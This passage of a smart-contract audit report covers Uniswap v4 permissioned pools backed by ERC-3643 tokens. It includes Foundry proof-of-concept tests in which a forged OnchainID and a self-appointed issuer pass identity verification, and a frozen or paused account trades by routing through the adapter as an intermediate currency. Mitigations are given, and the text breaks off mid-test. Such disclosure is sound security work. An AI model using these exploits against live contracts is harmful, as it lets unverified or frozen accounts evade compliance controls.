// project's 0.8.26, and their OpenZeppelin upgradeable dependency is not available here, so they
// cannot be compiled in this checkout at any solc version. What the port drops is the
// upgradeable/ownable/agent-role plumbing around verification, none of which participates in
// the loop under test. What it keeps verbatim is the loop itself.
//

interface IClaimHolder {
    function getClaim(bytes32 claimId)
        external
        view
        returns (uint256 topic, uint256 scheme, address issuer, bytes memory sig, bytes memory data,
        ↪  string memory uri);
}

interface IValidator {
    function isClaimValid(address identity, uint256 claimTopic, bytes calldata sig, bytes calldata data)
        external
        view
```

```
        returns (bool);
}

/// @dev Trusted-issuer set for a topic. Stands in for the reference TrustedIssuersRegistry, whose
///      getTrustedIssuersForClaimTopic is a plain stored lookup.
contract IssuersRegistry {
    mapping(uint256 => address[]) internal issuersByTopic;

    function trust(address issuer, uint256 topic) external {
        issuersByTopic[topic].push(issuer);
    }

    function getTrustedIssuersForClaimTopic(uint256 topic) external view returns (address[] memory) {
        return issuersByTopic[topic];
    }
}

/// @dev Required-topic set. Stands in for the reference ClaimTopicsRegistry.
contract TopicsRegistry {
    uint256[] internal topics;

    function require_(uint256 topic) external {
        topics.push(topic);
    }

    function getClaimTopics() external view returns (uint256[] memory) {
        return topics;
    }
}

contract ReferenceIdentityRegistry {
    TopicsRegistry internal immutable TOPICS;
    IssuersRegistry internal immutable ISSUERS;
    mapping(address => address) internal storedIdentity;

    constructor(TopicsRegistry topics_, IssuersRegistry issuers_) {
        TOPICS = topics_;
        ISSUERS = issuers_;
    }

    function registerIdentity(address user, address userIdentity) external {
        storedIdentity[user] = userIdentity;
    }

    function identity(address user) public view returns (address) {
        return storedIdentity[user];
    }

    function issuersRegistry() external view returns (address) {
        return address(ISSUERS);
    }

    /// @dev Transcribed from IdentityRegistry.sol:173-222. The only edits are mechanical: interface
    ///      types replaced with the local equivalents above, and `_tokenTopicsRegistry` /
    ///      `_tokenIssuersRegistry` replaced with the immutables. No branch, comparison, or ordering
    ///      is changed. Note what is compared inside the loop, and what is not.
    function isVerified(address _userAddress) external view returns (bool) {
        if (identity(_userAddress) == address(0)) return false;
        uint256[] memory requiredClaimTopics = TOPICS.getClaimTopics();
        if (requiredClaimTopics.length == 0) {
            return true;
        }
```

```
        uint256 foundClaimTopic;
        uint256 scheme;
        address issuer;
        bytes memory sig;
        bytes memory data;
        uint256 claimTopic;
        for (claimTopic = 0; claimTopic < requiredClaimTopics.length; claimTopic++) {
            address[] memory trustedIssuers =
            ↪  ISSUERS.getTrustedIssuersForClaimTopic(requiredClaimTopics[claimTopic]);

            if (trustedIssuers.length == 0) return false;

            bytes32[] memory claimIds = new bytes32[](trustedIssuers.length);
            for (uint256 i = 0; i < trustedIssuers.length; i++) {
                claimIds[i] = keccak256(abi.encode(trustedIssuers[i], requiredClaimTopics[claimTopic]));
            }

            for (uint256 j = 0; j < claimIds.length; j++) {
                (foundClaimTopic, scheme, issuer, sig, data,) =
                ↪  IClaimHolder(identity(_userAddress)).getClaim(claimIds[j]);

                if (foundClaimTopic == requiredClaimTopics[claimTopic]) {
                    try IValidator(issuer).isClaimValid(
                        identity(_userAddress), requiredClaimTopics[claimTopic], sig, data
                    ) returns (bool _validity) {
                        if (_validity) {
                            j = claimIds.length;
                        }
                        if (!_validity && j == (claimIds.length - 1)) {
                            return false;
                        }
                    } catch {
                        if (j == (claimIds.length - 1)) {
                            return false;
                        }
                    }
                } else if (j == (claimIds.length - 1)) {
                    return false;
                }
            }
        }
        return true;
    }
}

/// @dev Minimal ERC-3643 token surface: the checker reads identityRegistry() and nothing else.
contract TokenStub {
    address internal immutable REGISTRY;

    constructor(address registry) {
        REGISTRY = registry;
    }

    function identityRegistry() external view returns (address) {
        return REGISTRY;
    }
}

/// @dev A claim issuer nobody registered as trusted. It approves whatever it is asked about.
contract SelfAppointedIssuer {
    function isClaimValid(address, uint256, bytes calldata, bytes calldata) external pure returns
    ↪  (bool) {
        return true;
```

```
    }
}

/// @dev An OnchainID that answers every claim lookup with a tuple of its deployer's choosing.
///      Deploying one is permissionless, and registerIdentity performs no authenticity check on the
///      address it is handed.
contract ScriptedIdentity {
    struct Record {
        uint256 topic;
        address issuer;
    }

    Record internal blanket;
    mapping(bytes32 => Record) internal scripted;

    constructor(uint256 topic, address issuer) {
        blanket = Record(topic, issuer);
    }

    /// @dev Answer one specific claim id differently from the blanket answer.
    function script(bytes32 claimId, uint256 topic, address issuer) external {
        scripted[claimId] = Record(topic, issuer);
    }

    function getClaim(bytes32 claimId)
        external
        view
        returns (uint256, uint256, address, bytes memory, bytes memory, string memory)
    {
        Record memory r = scripted[claimId].issuer == address(0) ? blanket : scripted[claimId];
        return (r.topic, 1, r.issuer, "", "", "");
    }
}

contract ForgedIdentityPassesSwapGateTest is Test {
    uint256 internal constant KYC_TOPIC = 1;
    uint256 internal constant LP_TOPIC = 42;

    ReferenceIdentityRegistry internal registry;
    IssuersRegistry internal issuers;
    TopicsRegistry internal topics;
    TREXAllowlistChecker internal checker;
    TokenStub internal token;

    address internal genuineIssuer = makeAddr("genuineIssuer");
    SelfAppointedIssuer internal genuineLpIssuer;
    address internal attacker = makeAddr("attacker");
    address internal stranger = makeAddr("stranger");

    function setUp() public {
        topics = new TopicsRegistry();
        topics.require_(KYC_TOPIC);

        issuers = new IssuersRegistry();
        // The one issuer this deployment actually trusts for the required topic.
        issuers.trust(genuineIssuer, KYC_TOPIC);

        // And a trusted issuer for the checker's LP topic. Without this the LP probe would find an
        // empty issuer list and return false for want of a candidate, which would prove nothing about
        // the issuer-binding guard the LP path is supposed to apply.
        genuineLpIssuer = new SelfAppointedIssuer();
        issuers.trust(address(genuineLpIssuer), LP_TOPIC);
```

```
        registry = new ReferenceIdentityRegistry(topics, issuers);

        checker = new TREXAllowlistChecker(LP_TOPIC);
        token = new TokenStub(address(registry));
    }

    /// @notice An account with no attestation from any trusted issuer clears the swap gate, because
    ///         the reference verification loop calls whatever issuer the claim tuple names instead
    ///         of the trusted issuer whose address it derived the claim id from.
    function test_PoC_ScriptedIdentityClearsSwapGateWithoutATrustedAttestation() public {
        // The attacker's own contracts. Neither is registered as a trusted issuer.
        SelfAppointedIssuer ownIssuer = new SelfAppointedIssuer();
        ScriptedIdentity ownIdentity = new ScriptedIdentity(KYC_TOPIC, address(ownIssuer));

        // Answer the LP claim id with the REQUIRED topic but the attacker's own issuer, so the LP
        // probe gets past its topic comparison and is decided by the issuer-binding guard.
        bytes32 lpClaimId = keccak256(abi.encode(address(genuineLpIssuer), LP_TOPIC));
        ownIdentity.script(lpClaimId, LP_TOPIC, address(ownIssuer));

        // Onboarding: an agent registers the address the attacker supplied.
        registry.registerIdentity(attacker, address(ownIdentity));

        // The claim id the loop derives is keyed on the GENUINE trusted issuer.
        bytes32 derivedClaimId = keccak256(abi.encode(genuineIssuer, KYC_TOPIC));
        (,, address reportedIssuer,,,) = ownIdentity.getClaim(derivedClaimId);

        // The tuple stored under that id names a different issuer entirely. Nothing compares them.
        assertTrue(reportedIssuer != genuineIssuer, "tuple names an issuer that is not the trusted
        ↪  one");
        assertEq(reportedIssuer, address(ownIssuer), "tuple names the attacker's own contract");

        // The reference loop returns true anyway.
        assertTrue(registry.isVerified(attacker), "reference verification accepts the forged tuple");

        // The checker grants the swap flag on that answer alone.
        PermissionFlag flags = checker.checkAllowlist(attacker, address(token));
        assertTrue(
            (flags & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED,
            "checker grants SWAP_ALLOWED off a forged verification"
        );

        // The LP tuple clears the topic comparison, so the only thing left to decide it is the issuer.
        (uint256 lpTopic,, address lpIssuer,,,) = ownIdentity.getClaim(lpClaimId);
        assertEq(lpTopic, LP_TOPIC, "LP tuple carries the required topic");
        assertTrue(lpIssuer != address(genuineLpIssuer), "LP tuple names an issuer that is not the
        ↪  trusted one");

        // The checker's own LP path refuses that tuple, because it requires the stored claim's issuer
        // to match the trusted issuer its claim id was derived from. The two gates inside one contract
        // disagree about the same account.
        assertFalse(
            (flags & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED,
            "LP flag is withheld from the same account"
        );
        assertFalse(
            checker.probeLpClaim(address(registry), attacker), "LP path rejects the tuple the swap gate
            ↪  accepted"
        );
    }

    /// @notice Control. The LP path is not simply always-false: the same kind of scripted identity,
    ///         naming the TRUSTED LP issuer at the same claim id, is accepted. So the rejection in the
    ///         test above is the issuer-binding guard firing, not an empty issuer set or a dead path.
```

```
    function test_PoC_LpPathAcceptsAClaimBoundToTheTrustedIssuer() public {
        address lpHolder = makeAddr("lpHolder");
        ScriptedIdentity id = new ScriptedIdentity(KYC_TOPIC, address(genuineLpIssuer));
        id.script(keccak256(abi.encode(address(genuineLpIssuer), LP_TOPIC)), LP_TOPIC,
        ↪  address(genuineLpIssuer));
        registry.registerIdentity(lpHolder, address(id));

        assertTrue(checker.probeLpClaim(address(registry), lpHolder), "LP path accepts a correctly bound
        ↪  claim");
    }

    /// @notice Control. The loop's topic comparison is live, so the grant above is caused by the
    ///         absent issuer comparison specifically, not by the port accepting anything at all.
    function test_PoC_ScriptedIdentityWithWrongTopicIsRejected() public {
        SelfAppointedIssuer ownIssuer = new SelfAppointedIssuer();
        // The same forgery, except the tuple reports a topic this deployment does not require.
        ScriptedIdentity ownIdentity = new ScriptedIdentity(KYC_TOPIC + 1, address(ownIssuer));

        registry.registerIdentity(stranger, address(ownIdentity));

        assertFalse(registry.isVerified(stranger), "topic mismatch is caught");
        assertTrue(
            checker.checkAllowlist(stranger, address(token)) == PermissionFlags.NONE,
            "checker denies when verification denies"
        );
    }

    /// @notice Control. An honest holder whose tuple names the trusted issuer, and whose issuer
    ///         answers for it, is verified through the same loop - so the forgery above is not
    ///         standing in for a harness that grants unconditionally.
    function test_PoC_HonestHolderIsVerifiedThroughTheSameLoop() public {
        address honest = makeAddr("honest");
        SelfAppointedIssuer issuerContract = new SelfAppointedIssuer();

        // This time the trusted issuer IS the contract the tuple names.
        IssuersRegistry honestIssuers = new IssuersRegistry();
        honestIssuers.trust(address(issuerContract), KYC_TOPIC);
        ReferenceIdentityRegistry honestRegistry = new ReferenceIdentityRegistry(topics, honestIssuers);
        TokenStub honestToken = new TokenStub(address(honestRegistry));

        ScriptedIdentity id = new ScriptedIdentity(KYC_TOPIC, address(issuerContract));
        honestRegistry.registerIdentity(honest, address(id));

        assertTrue(honestRegistry.isVerified(honest), "honest holder verifies");
        assertTrue(
            (checker.checkAllowlist(honest, address(honestToken)) & PermissionFlags.SWAP_ALLOWED)
                == PermissionFlags.SWAP_ALLOWED,
            "honest holder is granted the swap flag"
        );
    }
}
```

Recommended Mitigation: This appears to be a regression in the external dependency; T-REX 3.x compared the tuple's self-reported issuer against the registry directly - `isTrustedIssuer(issuer)` and `hasClaimTopic(issuer, topic)` alongside `isClaimValid` - present from 3.0.0 (`pragma 0.6.2`) through 3.5.2. The 4.0.0 rewrite began deriving claim ids as `keccak256(abi.encode(trustedIssuer, topic))` from `getTrustedIssuersForClaimTopic` and dropped both checks, keeping only the topic comparison.

That body is unchanged in 4.1.3 and still unchanged in 4.2.0-beta, so upgrading does not remove the exposure.

The derivation matches ONCHAINID's own `Identity::addClaim`, which computes `claimId = keccak256(abi.encode(_issuer, _topic))`:

- on a genuine ONCHAINID the claim id structurally binds the issuer, so the explicit check really is redundant
- 4.x therefore moved that binding out of the registry and into the identity contract - which `registerIdentity` accepts with no authenticity check on the address it is handed, and which this project's own trust model treats as user-controlled
- The registry derives the id from a trusted issuer and then discards it, calling `isClaimValid` on whatever issuer the untrusted contract reports back

The potential upstream fix is to call `isClaimValid` on `trustedIssuers[j]` rather than the returned `issuer`. This costs nothing for honest identities, since the two are equal by construction there. Restoring `isTrustedIssuer(issuer)` alone is not equivalent: it would admit an issuer trusted only for a different topic, which is why 3.x paired it with `hasClaimTopic(issuer, topic)`.

Dowgo: Acknowledged; agree that the fix belongs upstream. In-scope statements corrected; NatSpec and README trust model now state the registry precondition in commit 9691818.

7.1.3 Frozen accounts and paused tokens keep trading through permissioned pools when the adapter is a net-zero intermediate currency

Description: `TREXAllowlistChecker::checkAllowlist` grants `SWAP_ALLOWED` from one answer: `isVerified` on the registry the wrapped token reports. An ERC-3643 token's pause flag and per-address freeze live in the token's own storage and are set by an agent on the token; the identity registry has no knowledge of either, so `isVerified` stays `true` throughout a freeze or a pause.

That is safe as long as the token backstops the pool. The ERC-3643 token is never a pool currency - `PermissionsAdapter` is, and the underlying moves only when the adapter wraps on settle or unwraps on take. Both are ordinary transfers, so the token's pause and freeze guards do apply to them. This backstop applies whenever completing the route requires an underlying transfer involving the frozen account. For pause it applies more broadly, to every route requiring any underlying transfer at all, whoever the payer and recipient are.

It does not hold when the adapter is an intermediate. `V4Router::_swapExactInput` chains hops by assigning `amountIn = amountOut`, settling only the first currency and taking only the last. An intermediate adapter's deltas therefore cancel inside the PoolManager: nothing is wrapped, nothing is unwrapped, and the ERC-3643 token is never called. Both pools still run `beforeSwap`, and both still ask only `isVerified`.

Impact: `TREXAllowlistChecker` reports `SWAP_ALLOWED` even after the token's agent has frozen the trader or paused the asset globally. Routing through two pools where the adapter is an intermediate currency avoids every underlying transfer, and so never reaches the only place those emergency controls are enforced. The frozen account keeps its access to permissioned liquidity and its ability to move that pool's prices, and the same holds for every otherwise verified account while the token is paused.

What bounds it:

- Requires at least two pools sharing the same adapter, with the adapter as the intermediate currency so its transaction-level delta nets to zero.
- The trader never holds or transfers the underlying asset. This is retained pool access and pool-state manipulation, not flight of the frozen balance.
- Direct routes that require an underlying transfer to or from the frozen trader remain backstopped, as the controls demonstrate. Direct-route behaviour with a different payer or recipient is outside this reproduction. For pause the broader claim is safe: any underlying transfer reverts whoever the parties are.

No test in the project's own suite exercises freeze or pause, and neither existing mock token carries that surface.

Proof of Concept: Two pools share one adapter and the route is `tokenA -> adapter -> tokenB`. Save the file below as `test/DOWGO-pocs/FrozenAccountRoutesThroughIntermediatePool.t.sol`. It is self-contained apart from the project's own `test/PermissionedFlow.t.sol`, from which it borrows four existing mocks. Five tests, all passing:

```
forge test --match-path test/DOWGO-pocs/FrozenAccountRoutesThroughIntermediatePool.t.sol -vv
```

The trace shows the mechanism directly: two `PoolManager::swap` calls, both reaching `beforeSwap` and both resolving through the checker to `isVerified(trader)`; one `settle` for the input and one `take` for the output, with the adapter neither settled nor taken; and the only calls to the ERC-3643 token in the entire swap being `identityRegistry()` staticcalls.

The controls pin the boundary. With the same account frozen, a route taking the adapter as output reverts on `wallet is frozen`; under pause the same route reverts on `Pausable: paused`; and revoking verification blocks the intermediate route with `Unauthorized()`, so the gate is live and the bypass is specifically freeze and pause being invisible to it.

Three caveats on the harness. The concrete router is authored for the test because this checkout vendors only the abstract `PermissionedV4Router`; the routing logic and the payment dispatcher are inherited unmodified, and the finding is precisely that neither payment hook is reached. The token is a stand-in carrying the pause and freeze clauses of the vendored ERC-3643 `Token`, stricter than production only in where those two guards sit and omitting the identity and compliance checks that cannot be reached on this route. The registry is the project's own mock, standing on the separately verified fact that the real `isVerified` does not read token state either.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";

import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {PermissionsAdapter} from
↪  "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionsAdapter.sol";
import {
    PermissionsAdapterFactory
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionsAdapterFactory.sol";
import {PermissionedHooks} from
↪  "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionedHooks.sol";
import {
    PermissionedV4Router
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/PermissionedV4Router.sol";
import {
    IPermissionsAdapter
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/interfaces/IPermissionsAdapter.sol";
import {
    IPermissionsAdapterFactory
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/interfaces/IPermissionsAdapterFactory.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";
import {IV4Router} from "@uniswap/v4-periphery/src/interfaces/IV4Router.sol";
import {PathKey} from "@uniswap/v4-periphery/src/libraries/PathKey.sol";
import {Actions} from "@uniswap/v4-periphery/src/libraries/Actions.sol";
import {HookMiner} from "@uniswap/v4-periphery/src/utils/HookMiner.sol";

import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
```

```
    MockIdentity,
    MockClaimIssuer,
    MockTrustedIssuersRegistry,
    MockIdentityRegistry
} from "../PermissionedFlow.t.sol";

//
// What this file establishes
//
// The permissioned-pool design never lets the ERC-3643 token be a pool currency. The pool trades
// PermissionsAdapter, an ERC20 of the adapter's own, and the underlying moves only when the adapter
// wraps on settle or unwraps on take. Both of those are ordinary ERC-3643 transfers, so the token's
// own pause and address-freeze guards apply to them.
//
// V4Router::_swapExactInput chains hops by assigning amountIn = amountOut and never settles or takes
// an intermediate currency - only the first currency is settled and the last is taken. So on a route
// whose middle leg is the adapter, the adapter's delta nets to zero, no wrap or unwrap occurs, and
// the ERC-3643 token is never called. The only per-account gate left on that route is the hook,
// which asks TREXAllowlistChecker, which reads isVerified and nothing else.
//
// The underlying token here reverts on EVERY transfer while paused or while either party is frozen,
// so a route that completes in that state is proof that no underlying transfer took place.
//

/// @dev ERC-3643-shaped token. Real T-REX puts these two guards on `transfer`/`transferFrom`
///      (Token.sol) and keeps `_frozen` in token storage (TokenStorage.sol) - the identity registry
///      has no knowledge of freeze at all, which is why `isVerified` stays true throughout. Placing
///      them on `_update` here is stricter than production ONLY as to where the pause and freeze
///      guards sit: it catches every transfer path into or out of the adapter, so nothing can slip
///      past unnoticed. It is not a fuller token - it omits the identity and modular-compliance
///      checks that real `transfer` also performs. Those omissions cannot matter on the route under
///      test, because no underlying transfer happens there at all. Mint and burn are excluded so
///      the fixture can be funded.
contract FreezableTREXToken is ERC20 {
    address public immutable identityRegistry;

    bool public paused;
    mapping(address => bool) public frozen;

    /// @dev Instrumentation: counts non-mint, non-burn transfers of the underlying.
    uint256 public transferCount;

    constructor(address registry) ERC20("Freezable TREX Token", "FTRX") {
        identityRegistry = registry;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function setPaused(bool p) external {
        paused = p;
    }

    function setAddressFrozen(address account, bool f) external {
        frozen[account] = f;
    }

    function _update(address from, address to, uint256 value) internal override {
        if (from != address(0) && to != address(0)) {
            require(!paused, "Pausable: paused");
            require(!frozen[from] && !frozen[to], "wallet is frozen");
            transferCount++;
```

```
        }
        super._update(from, to, value);
    }
}

contract PlainToken is ERC20 {
    constructor(string memory n) ERC20(n, n) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Concrete PermissionedV4Router. This checkout ships only the abstract contract - upstream's
///      own tests load a concrete artifact that is not vendored here - so the two payment hooks are
///      implemented as the upstream router documents them. Nothing else is overridden: the routing
///      logic under test (V4Router::_swapExactInput) and the payment dispatcher
///      (PermissionedV4Router::_pay) are both inherited verbatim. The point of the test is precisely
///      that neither payment hook below is reached for the intermediate currency.
///
///      msgSender() resolves to the EOA that called executeActions, exactly as the official router
///      resolves it from its own locker - the subject is never a caller-supplied argument.
contract TestPermissionedRouter is PermissionedV4Router {
    address internal locker;

    /// @dev Instrumentation: counts payment-hook entries, per currency kind.
    uint256 public standardPayCount;
    uint256 public permissionedPayCount;

    constructor(IPoolManager pm, IPermissionsAdapterFactory f) PermissionedV4Router(pm, f) {}

    function executeActions(bytes calldata unlockData) external {
        locker = msg.sender;
        _executeActions(unlockData);
        locker = address(0);
    }

    function msgSender() public view override returns (address) {
        return locker;
    }

    function _payStandard(Currency currency, address payer, uint256 amount) internal override {
        standardPayCount++;
        if (payer == address(this)) {
            IERC20(Currency.unwrap(currency)).transfer(address(poolManager), amount);
        } else {
            IERC20(Currency.unwrap(currency)).transferFrom(payer, address(poolManager), amount);
        }
    }

    function _payPermissionedFromPayer(
        address payer,
        IPermissionsAdapter permissionsAdapter,
        address permissionedToken,
        uint256 amount
    ) internal override {
        permissionedPayCount++;
        IERC20(permissionedToken).transferFrom(payer, address(permissionsAdapter), amount);
        permissionsAdapter.wrapToPoolManager(amount);
    }
}

/// @dev Minimal liquidity provider. Implements IMsgSender because PermissionedHooks reads the real
```

```
///      LP off the calling router, and is registered as an allowed wrapper so it may wrap on settle.
contract LiquidityRouter is IUnlockCallback {
    IPoolManager internal immutable MANAGER;
    PermissionsAdapter internal immutable ADAPTER;
    IERC20 internal immutable UNDERLYING;

    address internal locker;

    constructor(IPoolManager m, PermissionsAdapter a, IERC20 u) {
        MANAGER = m;
        ADAPTER = a;
        UNDERLYING = u;
    }

    function msgSender() external view returns (address) {
        return locker;
    }

    function addLiquidity(PoolKey calldata key, ModifyLiquidityParams calldata params, address lp)
    ↪  external {
        locker = lp;
        MANAGER.unlock(abi.encode(key, params));
        locker = address(0);
    }

    function unlockCallback(bytes calldata data) external override returns (bytes memory) {
        require(msg.sender == address(MANAGER), "only manager");
        (PoolKey memory key, ModifyLiquidityParams memory params) = abi.decode(data, (PoolKey,
        ↪  ModifyLiquidityParams));

        (BalanceDelta delta,) = MANAGER.modifyLiquidity(key, params, "");

        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return "";
    }

    function _settle(Currency currency, int128 amount) internal {
        if (amount >= 0) return;
        uint256 owed = uint256(uint128(-amount));

        MANAGER.sync(currency);
        if (Currency.unwrap(currency) == address(ADAPTER)) {
            // Settling the adapter currency is a wrap: underlying in, adapter minted to the manager.
            UNDERLYING.transfer(address(ADAPTER), owed);
            ADAPTER.wrapToPoolManager(owed);
        } else {
            IERC20(Currency.unwrap(currency)).transfer(address(MANAGER), owed);
        }
        MANAGER.settle();
    }
}

contract FrozenAccountRoutesThroughIntermediatePoolTest is Test {
    uint256 internal constant LP_TOPIC = 42;
    uint160 internal constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    int24 internal constant TICK_LOWER = -60000;
    int24 internal constant TICK_UPPER = 60000;

    PoolManager internal manager;
    MockIdentityRegistry internal registry;
    MockTrustedIssuersRegistry internal issuersRegistry;
    MockClaimIssuer internal lpIssuer;
```

```
    FreezableTREXToken internal underlying;
    TREXAllowlistChecker internal checker;
    PermissionsAdapterFactory internal factory;
    PermissionsAdapter internal adapter;
    PermissionedHooks internal hook;
    TestPermissionedRouter internal router;
    LiquidityRouter internal lpRouter;

    PlainToken internal tokenA;
    PlainToken internal tokenB;

    PoolKey internal poolAAdapter;
    PoolKey internal poolAdapterB;

    address internal deployer = address(this);
    address internal lp = makeAddr("lp");
    address internal trader = makeAddr("trader");

    function setUp() public {
        manager = new PoolManager(deployer);

        //  T-REX side
        registry = new MockIdentityRegistry();
        issuersRegistry = new MockTrustedIssuersRegistry();
        registry.setIssuersRegistry(address(issuersRegistry));
        lpIssuer = new MockClaimIssuer(true);
        issuersRegistry.addTrustedIssuer(LP_TOPIC, address(lpIssuer));

        underlying = new FreezableTREXToken(address(registry));
        underlying.mint(deployer, 1_000_000e18);

        // The LP holds a valid LP claim; the trader is merely verified, which is all a swap needs.
        MockIdentity lpId = new MockIdentity();
        lpId.addClaim(LP_TOPIC, address(lpIssuer), hex"beef", hex"01");
        registry.setVerified(lp, true);
        registry.setIdentity(lp, address(lpId));

        MockIdentity traderId = new MockIdentity();
        registry.setVerified(trader, true);
        registry.setIdentity(trader, address(traderId));

        checker = new TREXAllowlistChecker(LP_TOPIC);

        //  Adapter
        factory = new PermissionsAdapterFactory(address(manager));
        adapter = PermissionsAdapter(factory.createPermissionsAdapter(IERC20(address(underlying)),
        ↪  deployer, checker));
        underlying.transfer(address(adapter), 1); // proves control of the token to the factory
        factory.verifyPermissionsAdapter(address(adapter));
        adapter.updateSwappingEnabled(true);

        //  Hook
        uint160 flags = uint160(
            Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_SWAP_FLAG
                | Hooks.AFTER_SWAP_FLAG
        );
        bytes memory args = abi.encode(IPoolManager(address(manager)),
        ↪  IPermissionsAdapterFactory(address(factory)));
        (address hookAddr, bytes32 salt) = HookMiner.find(deployer, flags,
        ↪  type(PermissionedHooks).creationCode, args);
        hook = new PermissionedHooks{salt: salt}(
            IPoolManager(address(manager)), IPermissionsAdapterFactory(address(factory))
        );
```

```
        require(address(hook) == hookAddr, "hook address mismatch");

        // Routers
        router = new TestPermissionedRouter(IPoolManager(address(manager)),
        ↪ IPermissionsAdapterFactory(address(factory)));
        lpRouter = new LiquidityRouter(IPoolManager(address(manager)), adapter,
        ↪ IERC20(address(underlying)));
        adapter.updateAllowedWrapper(address(router), true);
        adapter.updateAllowedWrapper(address(lpRouter), true);

        // Two pools sharing the adapter
        tokenA = new PlainToken("A");
        tokenB = new PlainToken("B");

        poolAAdapter = _key(address(tokenA), address(adapter));
        poolAdapterB = _key(address(adapter), address(tokenB));
        manager.initialize(poolAAdapter, SQRT_PRICE_1_1);
        manager.initialize(poolAdapterB, SQRT_PRICE_1_1);

        // Liquidity, added while nothing is frozen or paused
        tokenA.mint(address(lpRouter), 1_000_000e18);
        tokenB.mint(address(lpRouter), 1_000_000e18);
        underlying.transfer(address(lpRouter), 500_000e18);

        ModifyLiquidityParams memory add =
            ModifyLiquidityParams({tickLower: TICK_LOWER, tickUpper: TICK_UPPER, liquidityDelta: 1e18,
            ↪ salt: 0});
        lpRouter.addLiquidity(poolAAdapter, add, lp);
        lpRouter.addLiquidity(poolAdapterB, add, lp);

        // Trader funding: only the plain input currency
        tokenA.mint(trader, 1_000e18);
        vm.prank(trader);
        tokenA.approve(address(router), type(uint256).max);
    }

    function _key(address x, address y) internal view returns (PoolKey memory) {
        (address c0, address c1) = x < y ? (x, y) : (y, x);
        return PoolKey({
            currency0: Currency.wrap(c0),
            currency1: Currency.wrap(c1),
            fee: 3000,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
    }

    /// @dev Route: tokenA -> adapter -> tokenB. The adapter is the intermediate currency.
    function _multiHopPlan(uint128 amountIn) internal view returns (bytes memory) {
        PathKey[] memory path = new PathKey[](2);
        path[0] = PathKey(Currency.wrap(address(adapter)), 3000, 60, IHooks(address(hook)), bytes(""));
        path[1] = PathKey(Currency.wrap(address(tokenB)), 3000, 60, IHooks(address(hook)), bytes(""));

        IV4Router.ExactInputParams memory params = IV4Router.ExactInputParams({
            currencyIn: Currency.wrap(address(tokenA)),
            path: path,
            amountIn: amountIn,
            amountOutMinimum: 0
        });

        bytes memory actions =
            abi.encodePacked(uint8(Actions.SWAP_EXACT_IN), uint8(Actions.SETTLE_ALL),
            ↪ uint8(Actions.TAKE_ALL));
```

```
        bytes[] memory p = new bytes[](3);
        p[0] = abi.encode(params);
        p[1] = abi.encode(Currency.wrap(address(tokenA)), uint256(amountIn));
        p[2] = abi.encode(Currency.wrap(address(tokenB)), uint256(0));
        return abi.encode(actions, p);
    }

    /// @dev Route: tokenA -> adapter. The adapter is the OUTPUT currency, so it must be unwrapped.
    function _singleHopPlan(uint128 amountIn) internal view returns (bytes memory) {
        PathKey[] memory path = new PathKey[](1);
        path[0] = PathKey(Currency.wrap(address(adapter)), 3000, 60, IHooks(address(hook)), bytes(""));

        IV4Router.ExactInputParams memory params = IV4Router.ExactInputParams({
            currencyIn: Currency.wrap(address(tokenA)),
            path: path,
            amountIn: amountIn,
            amountOutMinimum: 0
        });

        bytes memory actions =
            abi.encodePacked(uint8(Actions.SWAP_EXACT_IN), uint8(Actions.SETTLE_ALL),
            ↪  uint8(Actions.TAKE_ALL));
        bytes[] memory p = new bytes[](3);
        p[0] = abi.encode(params);
        p[1] = abi.encode(Currency.wrap(address(tokenA)), uint256(amountIn));
        p[2] = abi.encode(Currency.wrap(address(adapter)), uint256(0));
        return abi.encode(actions, p);
    }

    //
    // The finding
    //

    /// @notice A frozen account, with the token additionally paused, completes a swap that routes
    ///         through the permissioned pool because the adapter is only an intermediate currency.
    function test_PoC_FrozenAccountRoutesThroughPermissionedPoolAsIntermediateCurrency() public {
        // The compliance officer freezes the trader and pauses the token outright.
        underlying.setAddressFrozen(trader, true);
        underlying.setPaused(true);

        // The checker keeps granting the swap flag: it reads isVerified, which knows nothing of freeze.
        PermissionFlag flags = checker.checkAllowlist(trader, address(underlying));
        assertTrue(
            (flags & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED,
            "checker still grants SWAP_ALLOWED to a frozen account of a paused token"
        );

        uint256 transfersBefore = underlying.transferCount();
        uint256 balanceBefore = tokenB.balanceOf(trader);

        vm.prank(trader);
        router.executeActions(_multiHopPlan(1e15));

        // Value moved, while frozen and while the token was paused.
        assertGt(tokenB.balanceOf(trader), balanceBefore, "frozen trader received output currency");

        // And it moved without the ERC-3643 token being touched even once - which is why neither the
        // pause nor the freeze could intervene.
        assertEq(underlying.transferCount(), transfersBefore, "no underlying transfer occurred");
